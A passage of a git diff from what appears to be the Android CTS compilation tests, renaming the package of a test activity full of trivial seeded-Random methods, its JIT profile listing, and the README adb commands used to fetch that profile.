+    public int m164() { return new Random(164).nextInt(); }
+    public int m165() { return new Random(165).nextInt(); }
+    public int m166() { return new Random(166).nextInt(); }
+    public int m167() { return new Random(167).nextInt(); }
+    public int m168() { return new Random(168).nextInt(); }
+    public int m169() { return new Random(169).nextInt(); }
+    public int m170() { return new Random(170).nextInt(); }
+    public int m171() { return new Random(171).nextInt(); }
+    public int m172() { return new Random(172).nextInt(); }
+    public int m173() { return new Random(173).nextInt(); }
+    public int m174() { return new Random(174).nextInt(); }
+    public int m175() { return new Random(175).nextInt(); }
+    public int m176() { return new Random(176).nextInt(); }
+    public int m177() { return new Random(177).nextInt(); }
+    public int m178() { return new Random(178).nextInt(); }
+    public int m179() { return new Random(179).nextInt(); }
+    public int m180() { return new Random(180).nextInt(); }
+    public int m181() { return new Random(181).nextInt(); }
+    public int m182() { return new Random(182).nextInt(); }
+    public int m183() { return new Random(183).nextInt(); }
+    public int m184() { return new Random(184).nextInt(); }
+    public int m185() { return new Random(185).nextInt(); }
+    public int m186() { return new Random(186).nextInt(); }
+    public int m187() { return new Random(187).nextInt(); }
+    public int m188() { return new Random(188).nextInt(); }
+    public int m189() { return new Random(189).nextInt(); }
+    public int m190() { return new Random(190).nextInt(); }
+    public int m191() { return new Random(191).nextInt(); }
+    public int m192() { return new Random(192).nextInt(); }
+    public int m193() { return new Random(193).nextInt(); }
+    public int m194() { return new Random(194).nextInt(); }
+    public int m195() { return new Random(195).nextInt(); }
+    public int m196() { return new Random(196).nextInt(); }
+    public int m197() { return new Random(197).nextInt(); }
+    public int m198() { return new Random(198).nextInt(); }
+    public int m199() { return new Random(199).nextInt(); }
+}
diff --git a/hostsidetests/compilation/app/src/android/cts/compilation/CompilationTargetActivity.java b/hostsidetests/compilation/app/src/android/cts/compilation/CompilationTargetActivity.java
deleted file mode 100644
index 180b4c4..0000000
--- a/hostsidetests/compilation/app/src/android/cts/compilation/CompilationTargetActivity.java
+++ /dev/null
@@ -1,499 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.cts.compilation;
-
-import android.app.Activity;
-import android.os.AsyncTask;
-
-import java.util.ArrayList;
-import java.util.Collections;
-import java.util.List;
-import java.util.Random;
-
-/**
- * A simple activity which can be subjected to (dex to native) compilation.
- *
- * If you change this code, you need to regenerate APK and profile using the
- * the new code - see instructions in {@code assets/README.txt}.
- */
-public class CompilationTargetActivity extends Activity {
-
-    private AsyncTask<Integer, String, Void> mTask;
-
-    @Override
-    protected void onResume() {
-        super.onResume();
-        setTitle("Starting...");
-        mTask = new AsyncTask<Integer, String, Void>() {
-            @Override
-            protected Void doInBackground(Integer... params) {
-                int numValues = params[0];
-                int numIter = params[1];
-                for (int i = 0; i < numIter; i++) {
-                    if (Thread.interrupted()) {
-                        break;
-                    }
-                    publishProgress("Step " + (i+1) + " of " + numIter);
-                    List<Integer> values = makeValues(numValues);
-                    Collections.shuffle(values);
-                    Collections.sort(values);
-                }
-                return null;
-            }
-
-            @Override
-            protected void onProgressUpdate(String... values) {
-                setTitle(values[0]);
-            }
-
-            @Override
-            protected void onPostExecute(Void aVoid) {
-                setTitle("Done");
-            }
-        };
-        mTask.execute(1024, 100 * 1000);
-    }
-
-    @Override
-    protected void onPause() {
-        mTask.cancel(/* mayInterruptIfRunning */ true);
-        mTask = null;
-        super.onPause();
-    }
-
-    private List<Integer> makeValues(int numValues) {
-        List<Integer> result = new ArrayList<>();
-        Random random = new Random();
-        for (int i = 0; i < numValues; i++) {
-            int v = dispatch(random.nextInt());
-            result.add(v);
-        }
-        return result;
-    }
-
-    /**
-     * Dispatches to a bunch of simple methods because JIT profiles are only generated for
-     * apps with enough methods (10, as of May 2016).
-     */
-    private int dispatch(int i) {
-        int v = Math.abs(i % 100);
-        switch (v) {
-            case 0: return m0();
-            case 1: return m1();
-            case 2: return m2();
-            case 3: return m3();
-            case 4: return m4();
-            case 5: return m5();
-            case 6: return m6();
-            case 7: return m7();
-            case 8: return m8();
-            case 9: return m9();
-            case 10: return m10();
-            case 11: return m11();
-            case 12: return m12();
-            case 13: return m13();
-            case 14: return m14();
-            case 15: return m15();
-            case 16: return m16();
-            case 17: return m17();
-            case 18: return m18();
-            case 19: return m19();
-            case 20: return m20();
-            case 21: return m21();
-            case 22: return m22();
-            case 23: return m23();
-            case 24: return m24();
-            case 25: return m25();
-            case 26: return m26();
-            case 27: return m27();
-            case 28: return m28();
-            case 29: return m29();
-            case 30: return m30();
-            case 31: return m31();
-            case 32: return m32();
-            case 33: return m33();
-            case 34: return m34();
-            case 35: return m35();
-            case 36: return m36();
-            case 37: return m37();
-            case 38: return m38();
-            case 39: return m39();
-            case 40: return m40();
-            case 41: return m41();
-            case 42: return m42();
-            case 43: return m43();
-            case 44: return m44();
-            case 45: return m45();
-            case 46: return m46();
-            case 47: return m47();
-            case 48: return m48();
-            case 49: return m49();
-            case 50: return m50();
-            case 51: return m51();
-            case 52: return m52();
-            case 53: return m53();
-            case 54: return m54();
-            case 55: return m55();
-            case 56: return m56();
-            case 57: return m57();
-            case 58: return m58();
-            case 59: return m59();
-            case 60: return m60();
-            case 61: return m61();
-            case 62: return m62();
-            case 63: return m63();
-            case 64: return m64();
-            case 65: return m65();
-            case 66: return m66();
-            case 67: return m67();
-            case 68: return m68();
-            case 69: return m69();
-            case 70: return m70();
-            case 71: return m71();
-            case 72: return m72();
-            case 73: return m73();
-            case 74: return m74();
-            case 75: return m75();
-            case 76: return m76();
-            case 77: return m77();
-            case 78: return m78();
-            case 79: return m79();
-            case 80: return m80();
-            case 81: return m81();
-            case 82: return m82();
-            case 83: return m83();
-            case 84: return m84();
-            case 85: return m85();
-            case 86: return m86();
-            case 87: return m87();
-            case 88: return m88();
-            case 89: return m89();
-            case 90: return m90();
-            case 91: return m91();
-            case 92: return m92();
-            case 93: return m93();
-            case 94: return m94();
-            case 95: return m95();
-            case 96: return m96();
-            case 97: return m97();
-            case 98: return m98();
-            case 99: return m99();
-            case 100: return m100();
-            case 101: return m101();
-            case 102: return m102();
-            case 103: return m103();
-            case 104: return m104();
-            case 105: return m105();
-            case 106: return m106();
-            case 107: return m107();
-            case 108: return m108();
-            case 109: return m109();
-            case 110: return m110();
-            case 111: return m111();
-            case 112: return m112();
-            case 113: return m113();
-            case 114: return m114();
-            case 115: return m115();
-            case 116: return m116();
-            case 117: return m117();
-            case 118: return m118();
-            case 119: return m119();
-            case 120: return m120();
-            case 121: return m121();
-            case 122: return m122();
-            case 123: return m123();
-            case 124: return m124();
-            case 125: return m125();
-            case 126: return m126();
-            case 127: return m127();
-            case 128: return m128();
-            case 129: return m129();
-            case 130: return m130();
-            case 131: return m131();
-            case 132: return m132();
-            case 133: return m133();
-            case 134: return m134();
-            case 135: return m135();
-            case 136: return m136();
-            case 137: return m137();
-            case 138: return m138();
-            case 139: return m139();
-            case 140: return m140();
-            case 141: return m141();
-            case 142: return m142();
-            case 143: return m143();
-            case 144: return m144();
-            case 145: return m145();
-            case 146: return m146();
-            case 147: return m147();
-            case 148: return m148();
-            case 149: return m149();
-            case 150: return m150();
-            case 151: return m151();
-            case 152: return m152();
-            case 153: return m153();
-            case 154: return m154();
-            case 155: return m155();
-            case 156: return m156();
-            case 157: return m157();
-            case 158: return m158();
-            case 159: return m159();
-            case 160: return m160();
-            case 161: return m161();
-            case 162: return m162();
-            case 163: return m163();
-            case 164: return m164();
-            case 165: return m165();
-            case 166: return m166();
-            case 167: return m167();
-            case 168: return m168();
-            case 169: return m169();
-            case 170: return m170();
-            case 171: return m171();
-            case 172: return m172();
-            case 173: return m173();
-            case 174: return m174();
-            case 175: return m175();
-            case 176: return m176();
-            case 177: return m177();
-            case 178: return m178();
-            case 179: return m179();
-            case 180: return m180();
-            case 181: return m181();
-            case 182: return m182();
-            case 183: return m183();
-            case 184: return m184();
-            case 185: return m185();
-            case 186: return m186();
-            case 187: return m187();
-            case 188: return m188();
-            case 189: return m189();
-            case 190: return m190();
-            case 191: return m191();
-            case 192: return m192();
-            case 193: return m193();
-            case 194: return m194();
-            case 195: return m195();
-            case 196: return m196();
-            case 197: return m197();
-            case 198: return m198();
-            case 199: return m199();
-            default: throw new AssertionError(v + " out of bounds");
-        }
-    }
-
-    public int m0() { return new Random(0).nextInt(); }
-    public int m1() { return new Random(1).nextInt(); }
-    public int m2() { return new Random(2).nextInt(); }
-    public int m3() { return new Random(3).nextInt(); }
-    public int m4() { return new Random(4).nextInt(); }
-    public int m5() { return new Random(5).nextInt(); }
-    public int m6() { return new Random(6).nextInt(); }
-    public int m7() { return new Random(7).nextInt(); }
-    public int m8() { return new Random(8).nextInt(); }
-    public int m9() { return new Random(9).nextInt(); }
-    public int m10() { return new Random(10).nextInt(); }
-    public int m11() { return new Random(11).nextInt(); }
-    public int m12() { return new Random(12).nextInt(); }
-    public int m13() { return new Random(13).nextInt(); }
-    public int m14() { return new Random(14).nextInt(); }
-    public int m15() { return new Random(15).nextInt(); }
-    public int m16() { return new Random(16).nextInt(); }
-    public int m17() { return new Random(17).nextInt(); }
-    public int m18() { return new Random(18).nextInt(); }
-    public int m19() { return new Random(19).nextInt(); }
-    public int m20() { return new Random(20).nextInt(); }
-    public int m21() { return new Random(21).nextInt(); }
-    public int m22() { return new Random(22).nextInt(); }
-    public int m23() { return new Random(23).nextInt(); }
-    public int m24() { return new Random(24).nextInt(); }
-    public int m25() { return new Random(25).nextInt(); }
-    public int m26() { return new Random(26).nextInt(); }
-    public int m27() { return new Random(27).nextInt(); }
-    public int m28() { return new Random(28).nextInt(); }
-    public int m29() { return new Random(29).nextInt(); }
-    public int m30() { return new Random(30).nextInt(); }
-    public int m31() { return new Random(31).nextInt(); }
-    public int m32() { return new Random(32).nextInt(); }
-    public int m33() { return new Random(33).nextInt(); }
-    public int m34() { return new Random(34).nextInt(); }
-    public int m35() { return new Random(35).nextInt(); }
-    public int m36() { return new Random(36).nextInt(); }
-    public int m37() { return new Random(37).nextInt(); }
-    public int m38() { return new Random(38).nextInt(); }
-    public int m39() { return new Random(39).nextInt(); }
-    public int m40() { return new Random(40).nextInt(); }
-    public int m41() { return new Random(41).nextInt(); }
-    public int m42() { return new Random(42).nextInt(); }
-    public int m43() { return new Random(43).nextInt(); }
-    public int m44() { return new Random(44).nextInt(); }
-    public int m45() { return new Random(45).nextInt(); }
-    public int m46() { return new Random(46).nextInt(); }
-    public int m47() { return new Random(47).nextInt(); }
-    public int m48() { return new Random(48).nextInt(); }
-    public int m49() { return new Random(49).nextInt(); }
-    public int m50() { return new Random(50).nextInt(); }
-    public int m51() { return new Random(51).nextInt(); }
-    public int m52() { return new Random(52).nextInt(); }
-    public int m53() { return new Random(53).nextInt(); }
-    public int m54() { return new Random(54).nextInt(); }
-    public int m55() { return new Random(55).nextInt(); }
-    public int m56() { return new Random(56).nextInt(); }
-    public int m57() { return new Random(57).nextInt(); }
-    public int m58() { return new Random(58).nextInt(); }
-    public int m59() { return new Random(59).nextInt(); }
-    public int m60() { return new Random(60).nextInt(); }
-    public int m61() { return new Random(61).nextInt(); }
-    public int m62() { return new Random(62).nextInt(); }
-    public int m63() { return new Random(63).nextInt(); }
-    public int m64() { return new Random(64).nextInt(); }
-    public int m65() { return new Random(65).nextInt(); }
-    public int m66() { return new Random(66).nextInt(); }
-    public int m67() { return new Random(67).nextInt(); }
-    public int m68() { return new Random(68).nextInt(); }
-    public int m69() { return new Random(69).nextInt(); }
-    public int m70() { return new Random(70).nextInt(); }
-    public int m71() { return new Random(71).nextInt(); }
-    public int m72() { return new Random(72).nextInt(); }
-    public int m73() { return new Random(73).nextInt(); }
-    public int m74() { return new Random(74).nextInt(); }
-    public int m75() { return new Random(75).nextInt(); }
-    public int m76() { return new Random(76).nextInt(); }
-    public int m77() { return new Random(77).nextInt(); }
-    public int m78() { return new Random(78).nextInt(); }
-    public int m79() { return new Random(79).nextInt(); }
-    public int m80() { return new Random(80).nextInt(); }
-    public int m81() { return new Random(81).nextInt(); }
-    public int m82() { return new Random(82).nextInt(); }
-    public int m83() { return new Random(83).nextInt(); }
-    public int m84() { return new Random(84).nextInt(); }
-    public int m85() { return new Random(85).nextInt(); }
-    public int m86() { return new Random(86).nextInt(); }
-    public int m87() { return new Random(87).nextInt(); }
-    public int m88() { return new Random(88).nextInt(); }
-    public int m89() { return new Random(89).nextInt(); }
-    public int m90() { return new Random(90).nextInt(); }
-    public int m91() { return new Random(91).nextInt(); }
-    public int m92() { return new Random(92).nextInt(); }
-    public int m93() { return new Random(93).nextInt(); }
-    public int m94() { return new Random(94).nextInt(); }
-    public int m95() { return new Random(95).nextInt(); }
-    public int m96() { return new Random(96).nextInt(); }
-    public int m97() { return new Random(97).nextInt(); }
-    public int m98() { return new Random(98).nextInt(); }
-    public int m99() { return new Random(99).nextInt(); }
-    public int m100() { return new Random(100).nextInt(); }
-    public int m101() { return new Random(101).nextInt(); }
-    public int m102() { return new Random(102).nextInt(); }
-    public int m103() { return new Random(103).nextInt(); }
-    public int m104() { return new Random(104).nextInt(); }
-    public int m105() { return new Random(105).nextInt(); }
-    public int m106() { return new Random(106).nextInt(); }
-    public int m107() { return new Random(107).nextInt(); }
-    public int m108() { return new Random(108).nextInt(); }
-    public int m109() { return new Random(109).nextInt(); }
-    public int m110() { return new Random(110).nextInt(); }
-    public int m111() { return new Random(111).nextInt(); }
-    public int m112() { return new Random(112).nextInt(); }
-    public int m113() { return new Random(113).nextInt(); }
-    public int m114() { return new Random(114).nextInt(); }
-    public int m115() { return new Random(115).nextInt(); }
-    public int m116() { return new Random(116).nextInt(); }
-    public int m117() { return new Random(117).nextInt(); }
-    public int m118() { return new Random(118).nextInt(); }
-    public int m119() { return new Random(119).nextInt(); }
-    public int m120() { return new Random(120).nextInt(); }
-    public int m121() { return new Random(121).nextInt(); }
-    public int m122() { return new Random(122).nextInt(); }
-    public int m123() { return new Random(123).nextInt(); }
-    public int m124() { return new Random(124).nextInt(); }
-    public int m125() { return new Random(125).nextInt(); }
-    public int m126() { return new Random(126).nextInt(); }
-    public int m127() { return new Random(127).nextInt(); }
-    public int m128() { return new Random(128).nextInt(); }
-    public int m129() { return new Random(129).nextInt(); }
-    public int m130() { return new Random(130).nextInt(); }
-    public int m131() { return new Random(131).nextInt(); }
-    public int m132() { return new Random(132).nextInt(); }
-    public int m133() { return new Random(133).nextInt(); }
-    public int m134() { return new Random(134).nextInt(); }
-    public int m135() { return new Random(135).nextInt(); }
-    public int m136() { return new Random(136).nextInt(); }
-    public int m137() { return new Random(137).nextInt(); }
-    public int m138() { return new Random(138).nextInt(); }
-    public int m139() { return new Random(139).nextInt(); }
-    public int m140() { return new Random(140).nextInt(); }
-    public int m141() { return new Random(141).nextInt(); }
-    public int m142() { return new Random(142).nextInt(); }
-    public int m143() { return new Random(143).nextInt(); }
-    public int m144() { return new Random(144).nextInt(); }
-    public int m145() { return new Random(145).nextInt(); }
-    public int m146() { return new Random(146).nextInt(); }
-    public int m147() { return new Random(147).nextInt(); }
-    public int m148() { return new Random(148).nextInt(); }
-    public int m149() { return new Random(149).nextInt(); }
-    public int m150() { return new Random(150).nextInt(); }
-    public int m151() { return new Random(151).nextInt(); }
-    public int m152() { return new Random(152).nextInt(); }
-    public int m153() { return new Random(153).nextInt(); }
-    public int m154() { return new Random(154).nextInt(); }
-    public int m155() { return new Random(155).nextInt(); }
-    public int m156() { return new Random(156).nextInt(); }
-    public int m157() { return new Random(157).nextInt(); }
-    public int m158() { return new Random(158).nextInt(); }
-    public int m159() { return new Random(159).nextInt(); }
-    public int m160() { return new Random(160).nextInt(); }
-    public int m161() { return new Random(161).nextInt(); }
-    public int m162() { return new Random(162).nextInt(); }
-    public int m163() { return new Random(163).nextInt(); }
-    public int m164() { return new Random(164).nextInt(); }
-    public int m165() { return new Random(165).nextInt(); }
-    public int m166() { return new Random(166).nextInt(); }
-    public int m167() { return new Random(167).nextInt(); }
-    public int m168() { return new Random(168).nextInt(); }
-    public int m169() { return new Random(169).nextInt(); }
-    public int m170() { return new Random(170).nextInt(); }
-    public int m171() { return new Random(171).nextInt(); }
-    public int m172() { return new Random(172).nextInt(); }
-    public int m173() { return new Random(173).nextInt(); }
-    public int m174() { return new Random(174).nextInt(); }
-    public int m175() { return new Random(175).nextInt(); }
-    public int m176() { return new Random(176).nextInt(); }
-    public int m177() { return new Random(177).nextInt(); }
-    public int m178() { return new Random(178).nextInt(); }
-    public int m179() { return new Random(179).nextInt(); }
-    public int m180() { return new Random(180).nextInt(); }
-    public int m181() { return new Random(181).nextInt(); }
-    public int m182() { return new Random(182).nextInt(); }
-    public int m183() { return new Random(183).nextInt(); }
-    public int m184() { return new Random(184).nextInt(); }
-    public int m185() { return new Random(185).nextInt(); }
-    public int m186() { return new Random(186).nextInt(); }
-    public int m187() { return new Random(187).nextInt(); }
-    public int m188() { return new Random(188).nextInt(); }
-    public int m189() { return new Random(189).nextInt(); }
-    public int m190() { return new Random(190).nextInt(); }
-    public int m191() { return new Random(191).nextInt(); }
-    public int m192() { return new Random(192).nextInt(); }
-    public int m193() { return new Random(193).nextInt(); }
-    public int m194() { return new Random(194).nextInt(); }
-    public int m195() { return new Random(195).nextInt(); }
-    public int m196() { return new Random(196).nextInt(); }
-    public int m197() { return new Random(197).nextInt(); }
-    public int m198() { return new Random(198).nextInt(); }
-    public int m199() { return new Random(199).nextInt(); }
-}
diff --git a/hostsidetests/compilation/assets/CtsCompilationApp.apk b/hostsidetests/compilation/assets/CtsCompilationApp.apk
index 1764915..18c76d3 100644
--- a/hostsidetests/compilation/assets/CtsCompilationApp.apk
+++ b/hostsidetests/compilation/assets/CtsCompilationApp.apk
Binary files differ
diff --git a/hostsidetests/compilation/assets/README.txt b/hostsidetests/compilation/assets/README.txt
index aca7dff..0ce8006 100644
--- a/hostsidetests/compilation/assets/README.txt
+++ b/hostsidetests/compilation/assets/README.txt
@@ -6,6 +6,6 @@
 $ adb install CtsCompilationApp.apk
 
   # Now run the app manually for a couple of minutes, look for the profile:
-$ adb shell ls -l /data/misc/profiles/cur/0/android.cts.compilation/primary.prof
+$ adb shell ls -l /data/misc/profiles/cur/0/android.compilation.cts/primary.prof
   # once the profile appears and is nonempty, grab it:
-$ adb pull /data/misc/profiles/cur/0/android.cts.compilation/primary.prof ./
+$ adb pull /data/misc/profiles/cur/0/android.compilation.cts/primary.prof ./
diff --git a/hostsidetests/compilation/assets/primary.prof.txt b/hostsidetests/compilation/assets/primary.prof.txt
index fd55262..63bbff8 100644
--- a/hostsidetests/compilation/assets/primary.prof.txt
+++ b/hostsidetests/compilation/assets/primary.prof.txt
@@ -1,103 +1,103 @@
-Landroid/cts/compilation/CompilationTargetActivity;
-SHLandroid/cts/compilation/CompilationTargetActivity;->m0()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m1()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m2()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m3()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m4()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m5()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m6()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m7()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m8()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m9()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m10()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m11()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m12()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m13()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m14()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m15()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m16()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m17()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m18()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m19()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m20()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m21()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m22()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m23()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m24()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m25()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m26()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m27()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m28()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m29()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m30()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m31()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m32()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m33()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m34()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m35()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m36()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m37()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m38()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m39()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m40()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m41()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m42()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m43()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m44()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m45()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m46()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m47()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m48()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m49()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m50()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m51()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m52()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m53()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m54()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m55()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m56()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m57()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m58()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m59()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m60()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m61()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m62()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m63()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m64()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m65()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m66()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m67()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m68()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m69()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m70()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m71()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m72()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m73()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m74()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m75()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m76()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m77()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m78()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m79()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m80()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m81()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m82()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m83()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m84()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m85()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m86()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m87()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m88()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m89()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m90()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m91()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m92()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m93()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m94()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m95()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m96()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m97()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m98()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m99()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m100()I
-SHLandroid/cts/compilation/CompilationTargetActivity;->m101()I
\ No newline at end of file
+Landroid/compilation/cts/CompilationTargetActivity;
+SHLandroid/compilation/cts/CompilationTargetActivity;->m0()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m1()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m2()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m3()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m4()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m5()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m6()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m7()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m8()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m9()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m10()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m11()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m12()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m13()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m14()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m15()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m16()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m17()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m18()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m19()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m20()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m21()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m22()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m23()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m24()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m25()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m26()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m27()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m28()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m29()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m30()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m31()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m32()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m33()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m34()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m35()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m36()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m37()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m38()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m39()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m40()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m41()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m42()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m43()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m44()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m45()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m46()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m47()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m48()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m49()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m50()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m51()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m52()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m53()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m54()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m55()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m56()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m57()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m58()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m59()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m60()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m61()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m62()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m63()I
+SHLandroid/compilation/cts/CompilationTargetActivity;->m64()I
